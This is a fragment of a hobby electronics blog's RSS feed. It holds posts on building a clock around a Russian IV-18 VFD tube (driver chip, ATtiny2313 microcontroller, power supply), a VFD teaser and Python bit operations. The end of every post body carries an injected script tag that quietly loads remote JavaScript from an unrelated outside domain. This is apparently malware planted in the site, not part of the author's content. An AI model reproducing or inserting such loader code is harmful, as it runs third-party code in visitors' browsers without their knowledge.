				<content:encoded><![CDATA[<p>In the <a class="reference" href="http://www.larsen-b.com/Article/240.html">previous</a> article, I have study the way to power this large VFD, now we gonna take a look closer at the logic itself. We need to drive a lot of bits (8+9) at ~40v. After a little googling, I discover that Allegro still sell some VFD drivers, but they are really hard to buy, and only provide a small amout of outputs (in DIP package).</p>
<p>Ok .. so I decided to use a Maxim VFD driver: the <a class="reference" href="http://www.maxim-ic.com/quick_view2.cfm/qv_pk/4097">MAX6921</a>:</p>
<ul class="simple">
<li>20 outputs</li>
<li>4 wire serial-interface</li>
<li>supply voltage: 8v / 76v</li>
<li>40mA output</li>
</ul>
<p>The main issue is that it only exist in a SO package, so I need to use a little adapter to use <a class="reference" href="http://www.maxim-ic.com/quick_view2.cfm/qv_pk/4097">MAX6921</a> on a veroboard .. (I bought this at my local store, but they cost twice the price of the MAX)</p>
<p>The next step, is the clock itself. For my nixie clock, I tested several stuff like 50hz (mainlines) sync, or external oscillator but this isn&#8217;t accurate enought. This time, I decided to use a plain old <a class="reference" href="http://www.maxim-ic.com/quick_view2.cfm/qv_pk/2940">DS32kHz</a> crystal  oscillator. I&#8217;m pretty sure this won&#8217;t loose a second in a week ;)</p>
<p>To finish the clock, I need a micro-controller, as I need a really little amout of IO (2 for buttons, 4 for the VFD driver, and 1 for the oscillator), I decided a <a class="reference" href="http://www.atmel.com/dyn/products/product_card.asp?part_id=3229">ATtiny2313</a> could do the job perfectly and give me the enought room for other stuff (like a LDR for automatic dimming)</p>
<p>So, here the final schematic:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/iv_18_u.sized.png" alt="http://jkx.larsen-b.com/photos/VFDProjects/iv_18_u.sized.png" /></div>
<p><a class="reference" href="http://jkx.larsen-b.com/gallery/VFDProjects/iv18_clock?full=1">The full schematic</a></p>
<p>It&#8217;s the first time I used the ATtiny2313, but AVR-GCC is a great tools so.. To program this little stuff, I used the in-circuit programming, check out <a class="reference" href="http://tuxgraphics.org/electronics/200411/article352.shtml">tuxgraphics</a> doc for more infos about the whole stuff.</p>
<div id="that-s-fine-but-does-it-look-great" class="section">
<h1><a name="that-s-fine-but-does-it-look-great">That&#8217;s fine, but does it look great ? ;)</a></h1>
<p>Hum, yeah ! ;)</p>
<p>Here the (quite) finished product</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/dsc02406.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/dsc02406.sized.jpg" /></div>
<p>And if you look closer at the VFD:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02324.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02324.sized.jpg" /></div>
<div class="image">
</div>
<div class="image">And the finished product :</div>
<div class="image">
</div>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/p7050262.sized.jpg" alt="" width="640" height="480" /></div>
<div id="download" class="section">
<h1><a name="download">Download</a></h1>
<p>You will find a complete archive file <a class="reference" href="http://www.larsen-b.com/static/down/iv18-clock.tgz">here</a>, it contains:</p>
<ul class="simple">
<li>All the sources need to program the ATtiny</li>
<li>All the schematics to build you own ;)</li>
</ul>
<p><strong>/Enjoy</strong></p>
</div>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/241.html/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>IV-18 VFD vacuum Russian Clock (part 1)</title>
		<link>http://www.larsen-b.com/Article/240.html</link>
		<comments>http://www.larsen-b.com/Article/240.html#comments</comments>
		<pubDate>Sun, 08 Oct 2006 22:52:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[vfd]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After my nixie clock, I decided to build a new one based on a old VFD vacuum tube. In fact, the brother of a friend (which live in Ukrainia) give me a bag of tubes. Beside I already have a &#8230; <a href="http://www.larsen-b.com/Article/240.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>After my nixie clock, I decided to build a new one based on a old VFD vacuum tube. In fact, the brother of a friend (which live in Ukrainia) give me a bag of tubes. Beside I already have a little set of this kind, I discover the IV-18. This one, is really big, and perfect for a clock.</p>
<p>Here a little pic of this big guy:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02312.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02312.sized.jpg" /></div>
<p>As you can see this is quite large, and really nice looking. I spent a little time to figure out, how to make it working (reading russian isn&#8217;t really easy). After sending a mail to the <a class="reference" href="http://groups.yahoo.com/groups/neonixie-l/">NeonNixie</a> group, <a class="reference" href="http://www.turbokeu.com/">Chris</a> help me  to fix my issue.</p>
<p>So here the IV-18 pinouts:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/iv_18_pinouts.png" alt="http://jkx.larsen-b.com/photos/VFDProjects/iv_18_pinouts.png" /></div>
<p>And the values:</p>
<ul class="simple">
<li>power supply for a digit : 20v-30v (if not muxed)</li>
<li>power supply in muxed (for the 9 digit): 50v-70v</li>
<li>the filament: 4.3v-5v at 100mA</li>
</ul>
<p>The first step was to build the PSU</p>
<div id="power-supply" class="section">
<h1><a name="power-supply">Power Supply</a></h1>
<p>I want to build a small clock which feet in a small box without the use of a wallmart (external) transformer. So I went to my junk box, and found a small 2x6v &#8211; 350mA transformer. Hum, after a little test, I found that using this with a voltage doubler, I can get around 40v. Beside I should use 50v in muxed, I discover that 40v is far enought, and It will save the VFD life. (even if this kind of VFD should live at least 10 years without issue)</p>
<p>That fine.. but I need some 5v too. My first thought was to simply plug a 7805 in the middle of the voltage doubler&#8230; That works fine, except the 7805 is really hot, and need a large heatsink. So I decided to use a switching PSU based on a <a class="reference" href="http://www.national.com/pf/LM/LM2575.html">LM2575</a>.</p>
<p>Here the final power supply. (as you can see, I added a diode the filament PSU to avoid it to glow too much)</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/iv_18_psu.sized.png" alt="http://jkx.larsen-b.com/photos/VFDProjects/iv_18_psu.sized.png" /></div>
<p>Here&#8217;s a pic:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02402.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02402.sized.jpg" /></div>
<p>You can see</p>
<ul class="simple">
<li>the transformer</li>
<li>the two caps and diodes from the doubler</li>
<li>the <a class="reference" href="http://www.national.com/pf/LM/LM2575.html">LM2575</a> and its parts</li>
<li>the <a class="reference" href="http://www.atmel.com/dyn/products/product_card.asp?part_id=3229">ATtiny2313</a> (micro-controller used to do the logic)</li>
<li>the <a class="reference" href="http://www.maxim-ic.com/quick_view2.cfm/qv_pk/2940">DS32kHz</a> (32.768kHz Temperature-Compensated Crystal Oscillator)</li>
<li>and the little plug I used to do the in-circuit programming.</li>
</ul>
</div>
<div id="warning-don-t-miss-the-next-post-more-pictures" class="section">
<h1><a name="warning-don-t-miss-the-next-post-more-pictures">Warning don&#8217;t miss the next post !! (more pictures)</a></h1>
<p><strong>Check out</strong> the <a class="reference" href="http://www.larsen-b.com/Article/241.html">next</a> article for the finished product :)</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/240.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>VFD Teaser</title>
		<link>http://www.larsen-b.com/Article/223.html</link>
		<comments>http://www.larsen-b.com/Article/223.html#comments</comments>
		<pubDate>Sat, 20 May 2006 19:06:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[vfd]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Hi all, I haven&#8217;t post here since a while right now. In fact, I spend quite all my time w/ playing with some electronics stuff. Some people asked what I&#8217;m doing .. that it .. here a teaser This is &#8230; <a href="http://www.larsen-b.com/Article/223.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Hi all, I haven&#8217;t post here since a while right now. In fact, I spend quite all my time w/ playing with some electronics stuff.</p>
<p>Some people asked what I&#8217;m doing .. that it .. here a teaser</p>
<div><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="520" height="411" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.dailymotion.com/swf/x5dvfz&amp;v3=1&amp;colors=background:DDDDDD;glow:FFFFFF;foreground:333333;special:FFC300;&amp;related=1" /><embed type="application/x-shockwave-flash" width="520" height="411" src="http://www.dailymotion.com/swf/x5dvfz&amp;v3=1&amp;colors=background:DDDDDD;glow:FFFFFF;foreground:333333;special:FFC300;&amp;related=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p>This is some New Old Stock Russian VFD vaccum tubes.. ready for my next RSS reader !</p>
<p>I&#8217;m looking for some good electronics blogs, or planet.. If you know one please give me a comment</p>
<p><strong>Update video is here</strong> (RSS reader block the embeded video)</p>
<p><strong>Enjoy</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/223.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Playing with binary in Python</title>
		<link>http://www.larsen-b.com/Article/220.html</link>
		<comments>http://www.larsen-b.com/Article/220.html#comments</comments>
		<pubDate>Thu, 15 Dec 2005 10:05:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While debuging an AVR microcontroller, you need to play with bits. After playing with my calculator I decided to find another way to decode bin/hex etc .. I found a good recipe on ASPN. Now, this is a little reminder &#8230; <a href="http://www.larsen-b.com/Article/220.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While debuging an <a class="reference" href="http://www.atmel.com/products/AVR/">AVR</a> microcontroller, you need to play with bits. After playing with my calculator I decided to find another way to decode bin/hex etc ..  I found a good <a class="reference" href="http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/219300">recipe</a> on ASPN.</p>
<p>Now, this is a little reminder for people (like me) which doesn&#8217;t read binary op fluently.</p>
<pre class="literal-block"># This will off the bits according to value
x &amp;= ~(value) 

# Here a little reverse: This will set bits on according to value
x |= value</pre>
<p>Have fun w/ bits  :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/220.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
